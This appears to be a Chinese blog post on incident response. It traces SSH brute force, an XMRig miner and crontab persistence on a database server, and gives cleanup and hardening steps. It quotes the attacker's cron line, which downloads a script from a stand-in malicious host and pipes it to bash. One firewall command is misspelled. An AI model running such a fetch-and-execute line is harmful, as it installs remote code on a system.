网络安全运维应急响应与溯源分析实战案例
在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。
目录
一、事件背景
二、事件发现
1. 监控告警触发
2. 初步分析
三、溯源分析
1. 确定入侵源头
四、处置与恢复
1. 立刻阻断攻击者控制
2. 清除恶意程序
3. 服务器加固
五、总结与经验
一、事件背景
某互联网公司运维团队在日常巡检时,发现一台数据库服务器(192.168.1.100)的CPU使用率异常升高,并伴随大量未知进程占用系统资源,同时MySQL的查询响应时间大幅延长。初步判断可能存在异常入侵行为。
二、事件发现
1. 监控告警触发
使用 Zabbix 监控发现:
- CPU 使用率持续超过 90%(长期稳定在 20% 左右)
- MySQL QPS/TPS 下降明显,导致应用访问变慢
- 服务器 磁盘 I/O 高异常
同时,Wazuh SIEM 平台检测到该服务器有异常 SSH 登录记录,涉及多个可疑 IP 地址。
2. 初步分析
(1)服务器资源消耗情况排查
top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10
发现多个可疑进程(xmrig
、kthreadd
)在占用大量 CPU 资源,疑似挖矿木马。
(2)网络连接检测
netstat -antp
ss -tunlp
lsof -i
发现多个可疑的远程连接,连接至境外服务器 45.67.X.X:3333,疑似 C&C 服务器。
(3)日志分析
grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'
发现多个异常 SSH 登录记录,部分 IP 源自境外,且短时间内进行了高频登录。
三、溯源分析
1. 确定入侵源头
使用 HIDS(主机入侵检测) 结合 日志分析,溯源入侵行为:
- 攻击者利用弱密码暴力破解 SSH 账户(root/root123)
- 登录后下载并运行恶意挖矿程序(XMRig)
- 修改 crontab 以保持长期控制
检查 SSH 登录记录:
last -i | grep "root"
发现 root 账户从多个不明 IP 登录。
检查计划任务:
crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/
发现恶意计划任务,定期下载并运行木马:
wget -qO- http://malicious-site.com/m.sh | bash
查找可疑进程执行路径:
which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig
确认该进程为 挖矿程序,并且被设置为开机自启。
四、处置与恢复
1. 立刻阻断攻击者控制
- 阻止恶意 IP:
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
- 禁用 root 远程登录:
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
- 修改所有账户密码,并启用 SSH 公钥认证。
2. 清除恶意程序
- 杀掉恶意进程:
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
- 删除木马文件:
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
- 检查后门:
ls -al /root/.ssh/
发现 authorized_keys 中被植入了攻击者的 SSH 公钥,需删除:
echo "" > /root/.ssh/authorized_keys
3. 服务器加固
- 开启 fail2ban 防暴力破解:
apt install fail2ban -y
systemctl enable fail2ban
- 设置 SSH 端口为非默认端口:
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
- 关闭不必要的端口:
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service
五、总结与经验
- SSH 账户密码要设置足够复杂,避免使用 root 直接登录。
- 部署 Wazuh、Fail2ban 等安全工具,实时监控入侵行为。
- 定期检查服务器 CPU、内存、I/O 指标,发现异常及时分析。
- 建立应急响应预案,形成自动化处置流程。
相关文章:
网络安全运维应急响应与溯源分析实战案例
在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。 目录 一、事件背景 二、事件发现 1. 监控告警触发 2…...
leetcode29. 两数相除-medium
1 题目:两数相除 官方标定难度:中 给你两个整数,被除数 dividend 和除数 divisor。将两数相除,要求 不使用 乘法、除法和取余运算。 整数除法应该向零截断,也就是截去(truncate)其小数部分。…...
深海300米的低温环境中的BMS优化方法
在深海300米的低温环境中,采用扩展卡尔曼滤波(EKF)结合温度补偿模型实现电池管理系统(BMS)的荷电状态(SOC)精确估计,需通过以下步骤实现: 1. 低温电池模型建立 1.1 电池…...
高主频GPU+RTX4090:AI生图性能优化超150%
概述:消费级高主频CPU搭配 RTX 4090显卡可以显著提高AI生图的性能,相比于企业级CPU具有更大的吞吐量和更优的成本效益。 引言:在AI图像生成过程中,CPU与GPU的协同效应对系统的整体性能至关重要。测试表明,与RTX 4090显…...
OpenCV 图像双线性插值
文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 双线性插值是一种 二维插值方法,用于计算 栅格(Grid) 或 像素点 之间的插值值。它主要用于 图像缩放、旋转、变换 等操作,以在新像素位置估算灰度值或颜色值。 如上图所示,假设存在一个二维离散函数(如图像)…...
OpenCV计算摄影学(23)艺术化风格化处理函数stylization()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 风格化的目的是生成不以照片写实为目标的多种多样数字图像效果。边缘感知滤波器是风格化处理的理想选择,因为它们能够弱化低对比度区…...
《我的Python觉醒之路》之转型Python(十五)——控制流
[今天是2025年3月17日,继续复习第一章节、第二章节的内容 ] 《我的Python觉醒之路》之转型Python(十四)——控制流...
内存管理
一.什么是内存管理呢? 我们可以来看一下这个图,我们来了解一下这些地方都存的是什么。 数据段就是存放全局和静态变量的,代码段是存放常量的。 栈 局部变量:在函数内部定义的变量,其存储空间在栈上分配。当函数被调用时…...
学习threejs,使用MeshLambertMaterial漫反射材质
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE.MeshLambertMaterial…...
P41-指针进阶1、2
1.字符指针 2.数组指针 3.指针数组 4.数组传参和指针传参 5.函数指针 6.函数指针数组 7.指向函数指针数组的指针 8.回调函数 9.指针和数组面试题的解析 指针的主题,我们在初级阶段的《指针》章节已经接触过了,我们知道了指针的概念 1.指针就是个…...
旅游类小程序界面设计
产品概述 艾啦游是一款互联网旅游类小程序,致力于国内精品旅游,以及拥有自由行、专属热榜单、出行攻略等诸多功能,汇聚了许多国内的人气景点,与诸多城市的酒店也保持合作,打造一体式旅行服务,更有不断上新…...
探索具身多模态大模型:开发、数据集和未来方向(下)
25年2月来自广东人工智能和数字经济实验室、深圳大学、巴黎理工学院和巴黎高等师范学院、中山大学的论文“Exploring Embodied Multimodal Large Models: Development, Datasets, and Future Directions”。 近年来,具身多模态大模型 (EMLM) 因其在复杂的现实环境中…...
14 结构体
结构体 结构体是什么? 在前面我们学习过基础的数据类型int float char 等,都只能用来表示基础的数据类型,那么要怎么来表示复杂的数据类型呢? 比如学生信息: 学号姓名性别年龄总分数100maye男18666101椰汁女19555 …...
如何配置 Docker 以实现无需 sudo 使用
1. 背景知识:为什么需要 sudo? Docker 是一个容器化平台,其核心组件包括: Docker 守护进程(dockerd):负责管理容器的创建、运行和销毁。Docker CLI:用户通过命令行工具(…...
嵌入式开发之STM32学习笔记day06
基于STM32F103C8T6的开发实践——从入门到精通01 1. 引言 STM32系列微控制器是STMicroelectronics推出的一款高性能、低功耗的32位微控制器,广泛应用于嵌入式系统中。STM32F103C8T6是其中非常受欢迎的一款,凭借其强大的性能、丰富的外设接口和低廉的价格…...
openocd C#桌面工具
文章目录 简介一、主界面二、文件列表三、rtl介绍四、虚拟示波器1、画线2、画点3、合并显示4、测试代码简介 基于廉价9.9包邮的DAP-Link,在IAR和Keil中下载和调试都没毛病。 可是不能单独使用。单独烧录固件用不了,也不能同jlink一样打印日志和显示波形。 openocd开源工具能…...
goland小问题报错及解决
报错信息: cannot use rw (variable of type *populateResponse) as ResponseWriter value in argument to t.fh.ServeHTTP: *populateResponse does not implement ResponseWriter (missing method Fprintf) cannot use rw (variable of type *http2responseWrite…...
AtCoder Beginner Contest 397 A - D题解
Tasks - OMRON Corporation Programming Contest 2025 (AtCoder Beginner Contest 397) 本文为 AtCoder Beginner Contest 397 A - D题解 题目A: 代码(C): #include <bits/stdc.h>int main() {double n;std::cin >> n;if (n > 38.0) {std::cout << 1;}…...
18年老牌软件,完美解锁pro!
很多小伙伴在学习、工作中都喜欢使用思维导图来整理和记录自己的思路,通过图形化的方式展示复杂概念和关系,使信息更加清晰易懂,有助于理解和记忆;其次,分层次和分类别的信息结构也能够快速理清思路,突出重…...
Power Apps 技术分享:画布应用使用表单控件
前言 表单控件,是画布应用里一个非常好用的控件,我们今天简单介绍下,如何使用这个控件。 正文 1.首先,我们需要有一个数据源,我们这里用上一篇博客新建的数据源,如下图: 2.新建一个页面…...
视频转音频, 音频转文字
Ubuntu 24 环境准备 # 系统级依赖 sudo apt update && sudo apt install -y ffmpeg python3-venv git build-essential python3-dev# Python虚拟环境 python3 -m venv ~/ai_summary source ~/ai_summary/bin/activate核心工具链 工具用途安装命令Whisper语音识别pip …...
ZLMediaKit源码分析——[1] 开篇:onceToken源码分析
系列文章目录 第一篇 基于SRS 的 WebRTC 环境搭建 第二篇 基于SRS 实现RTSP接入与WebRTC播放 第三篇 centos下基于ZLMediaKit 的WebRTC 环境搭建 第四篇 WebRTC学习一:获取音频和视频设备 第五篇 WebRTC学习二:WebRTC音视频数据采集 第六篇 WebRTC学习三:WebRTC音视频约束 …...
EasyRTC嵌入式音视频通话SDK:微信生态支持、轻量化架构与跨平台兼容性(Linix/Windows/ARM/Android/iOS/LiteOS)
随着WebRTC技术的不断发展,实时音视频通信在各个领域的应用越来越广泛。EasyRTC嵌入式音视频通话SDK作为一款基于WebRTC技术的实时通信解决方案,凭借其强大的功能和灵活的集成能力,受到了越来越多开发者的关注。 一、系统架构设计 纯C语言开…...
Python中使用vlc库实现视频播放功能
文章目录 前言1. 环境准备1.1Python安装1.2选择Python开发环境1.3安装必要库 2. 基础播放示例3. 常用播放控制功能4. 事件监听5. 播放网络流媒体6. 结合 GUI 库制作视频播放器(以 Tkinter 为例) 前言 本教程主要包含打开文件、播放和停止按钮࿰…...
Elasticsearch面试题
以下是150道Elasticsearch面试题及其详细回答,涵盖了Elasticsearch的基础知识、配置与优化、查询操作、集群管理、性能调优等多个方面,每道题目都尽量详细且简单易懂: Elasticsearch基础概念类 1. 什么是Elasticsearch? Elastics…...
Linux上位机开发实战(qt编译之谜)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 很多同学都喜欢用IDE,也能理解。因为不管是visual studio qt插件,还是qt creator其实都帮我们做了很多额外的工作。这里面最…...
SpringBoot3+Druid+MybatisPlus多数据源支持,通过@DS注解配置Service/Mapper/Entity使用什么数据源
在 Spring Boot 3 中结合 Druid 和 MyBatis-Plus 实现多数据源支持,并通过 DS 注解动态切换数据源,可以按照以下步骤进行配置: 官方文档:多数据源支持 | MyBatis-Plus 1. 引入依赖 在 pom.xml 中添加以下依赖: <…...
Java学习------内部类
1. 定义 定义在一个类中的类 2. 使用时机 当一个类需要用到另一个类,并且两个类的联系比较密切时就需要使用内部类内部类可以访问外部类的私有成员,这样可以将相关的类和接口隐藏在外部类的内部,提高封装性匿名内部类是没有名字的类&#…...
【QA】建造者模式在Qt有哪些应用
#设计模式 #Qt 一、QDomDocument(XML 文档构建) 模式角色: Builder:QDomDocument 本身Product:XML 文档对象Director:用户代码通过 QDomDocument 逐步构建文档结构 示例代码: QDomDocument…...
uniapp 多环境配置打包,比较优雅的解决方案,全网相对优解
uniapp 多环境配置打包,比较优雅的解决方案,全网相对优解 读取.env.[development|test|staging|production]配置文件进行打包,最终效果如下图可以看到多个环境, 并且我们可以自定义更多的环境配置 前言 由于uniapp的hbuilder开发…...
【量化科普】Liquidity,流动性
【量化科普】Liquidity,流动性 🚀量化软件开通 🚀量化实战教程 在金融市场中,流动性(Liquidity)是一个至关重要的概念。它指的是资产能够以多快的速度被买入或卖出而不显著影响其价格的能力。高流动性的…...
qt介绍图表 charts 一
qt chartsj基于Q的Graphics View框架,其核心组件是QChartView和QChart.QChartView是一个显示图表的独立部件,基类为QGraphicsView.QChar类管理图表的序列,图例和轴示意图。 绘制一个cos和sin曲线图,效果如下 实现代码 #include…...
如何图像去噪?(一)
喜欢可以在我的主页订阅专栏哟,至少更新6年~~,更到我上大学也可能会继续更~~ 第一章 图像去噪的基础知识与核心概念 1.1 图像噪声的数学模型与物理成因 定义扩展: 图像噪声是信号采集、传输或存储过程中引入的随机干扰,其本质为…...
【数据库】Data Model(数据模型)数据模型分析
理解图片中的 Data Model(数据模型)是学习数据库设计和应用程序开发的重要一步。作为初学者,你可以通过比喻和简单的解释来理解这些概念以及它们之间的联系。以下是对图片中数据模型的详细分析,以及如何理解它们之间的关系。 1. 数…...
win10 c++ VsCode 配置PCL open3d并显示
win10 c VsCode配置PCL open3d并显示 一、效果图二、配置步骤2.1 安装vscode2.2 pcl-open3d配置2.3 vscode中设置 三、测试代码四、注意事项及后续 一、效果图 二、配置步骤 2.1 安装vscode vscode下载链接 下载中文插件、c相关插件 2.2 pcl-open3d配置 1)下载…...
Flask多参数模版使用
需要建立目录templates; 把建好的html文件放到templates目录里面; 约定好参数名字,单个名字可以直接使用;多参数使用字典传递; 样例: from flask import render_template # 模板 (Templates) #Flask 使用…...
python中a is None 和 a==None有区别吗
在 Python 中,a is None 和 a None 的区别如下: 1. a is None 这是身份(identity)比较,用于检查 a 是否就是 None 这个对象。None 是 Python 的单例对象,意味着在 Python 运行过程中,所有 No…...
Excel(函数篇):COUNTIF与CONUTIFS函数、SUMIF与SUMIFS函数、ROUND函数、MATCH与INDEX函数、混合引用与条件格式
目录 COUNTIF和COUNTIFS函数COUNTIF函数COUNTIFS函数SUMIF和SUMIFS函数SUMIF函数SUMIFS函数SUMIFS函数与控件实现动态年月汇总ROUND、ROUNDUP、ROUNDDOWN函数单元格混合引用条件格式与公式,标记整行数据MATCH和INDEX函数COUNTIF和COUNTIFS函数 COUNTIF函数 统计下“苏州”出现…...
C语言及内核开发中的回调机制与设计模式分析
在C语言以及操作系统内核开发中,回调机制是一种至关重要的编程模式。它通过注册框架和定义回调函数,实现了模块间的解耦和灵活交互,为系统的扩展性和可维护性提供了有力支持。本文将深入探讨这种机制的工作原理、应用场景以及与设计模式的关联。 一、回调机制的核心概念 (…...
SAP WORKFLOW BUSINESS PROCESS AUTOMATION
SAP WORKFLOW BUSINESS PROCESS AUTOMATION...
它,让机器人与HMI屏无缝对接
随着工业自动化向智能化发展,机器人与HMI屏的通信变得至关重要。本文将为您介绍一款创新的解决方案,它打破了通信协议的壁垒,实现机器人与HMI屏的无缝连接。 随着工业自动化向智能化的迈进,生产制造业正加速引入大量工业机器人以替…...
Vala语言基础知识-源文件和编译
源文件和编译 Vala代码以.vala为扩展名。与Java等语言不同,Vala不强制要求严格的文件结构——它没有类似Java的"包"(package)或"类文件"(class file)的概念,而是通过文件内的文本…...
《mc百科》小引
现在的年轻人,不是玩农药,就是在打和平,几乎每到街上,想就看见农药上号的,但这些游戏,虽然宜人,但随时都能让人异化。 但有一种游戏,可以说几乎涵盖了所有文化。早其自由度高达999%…...
java泛型通配符?及上下界(extends,super)保证安全性、灵活性、可读性
在 Java 中,泛型通配符(?)用于表示未知类型,通常用于增强泛型的灵活性。通配符可以与上下限结合使用,以限制泛型的范围。以下是通配符及上下限的使用示例: 1. 无界通配符 (?) 无界通配符表示可以接受任意…...
PyQt6内嵌http.server Web 和Flask Web服务器方法详解
PyQt6 可以内嵌一个简单的 Web 服务器。虽然 PyQt6 本身不提供直接的 Web 服务器功能,但可以结合 Python 的标准库(如 http.server)或其他 Web 框架(如 Flask、FastAPI 等)来实现。 示例:使用 http.server…...
【ProjectDiscovery 生态中核心工具 Subfinder、Httpx、Katana 和 Nuclei 的基础使用教程】
ProjectDiscovery 生态中核心工具 Subfinder、Httpx、Katana 和 Nuclei 的基础使用教程 一、Subfinder:子域名发现工具安装基础使用 二、Httpx:HTTP 探测与指纹识别安装基础使用 三、Katana:网络爬虫工具安装基础使用 四、Nuclei:…...
【Linux系统】进程地址空间详解
Linux系列 文章目录 Linux系列前言一、地址空间的区域划分二、进程地址空间的引入2.1 地址空间的概念2.2 地址空间2.3 进程地址空间的优点 三、页表3.1 区域权限管理3.2 惰性加载 总结 前言 进程地址空间是操作系统为每个运行中的进程分配的一个虚拟内存视图,它是所…...
使用Dependency Walker和Beyond Compare快速排查dll动态库损坏或被篡改的问题
目录 1、问题描述 2、用Dependency Walker工具打开qr.dll库,查看库与库的依赖关系以及接口调用情况,定位问题 3、使用Beyond Compare工具比较一下正常的msvcr100d.dll和问题msvcr100d.dll的差异 4、最后 C软件异常排查从入门到精通系列教程ÿ…...
蓝桥杯 刷题统计
问题描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天 做 a 道题目, 周六和周日每天做 b 道题目。请你帮小明计算, 按照计划他将在 第几天实现做题数大于等于 n 题? 输入格式 输入一行包含三个整数 a,b和 n. 输出格式 输出一个整数代表天数。 样…...
019-RSA
RSA 一、RSA技术原理与流程(附流程图) 密钥生成流程 graph TDA[选择大质数p/q] --> B[计算np*q]B --> C[计算 “φ(n)p-1*q-1”]C --> D[选择e与φ(n)互质]D --> E[计算d满足ed≡1 mod φ&am…...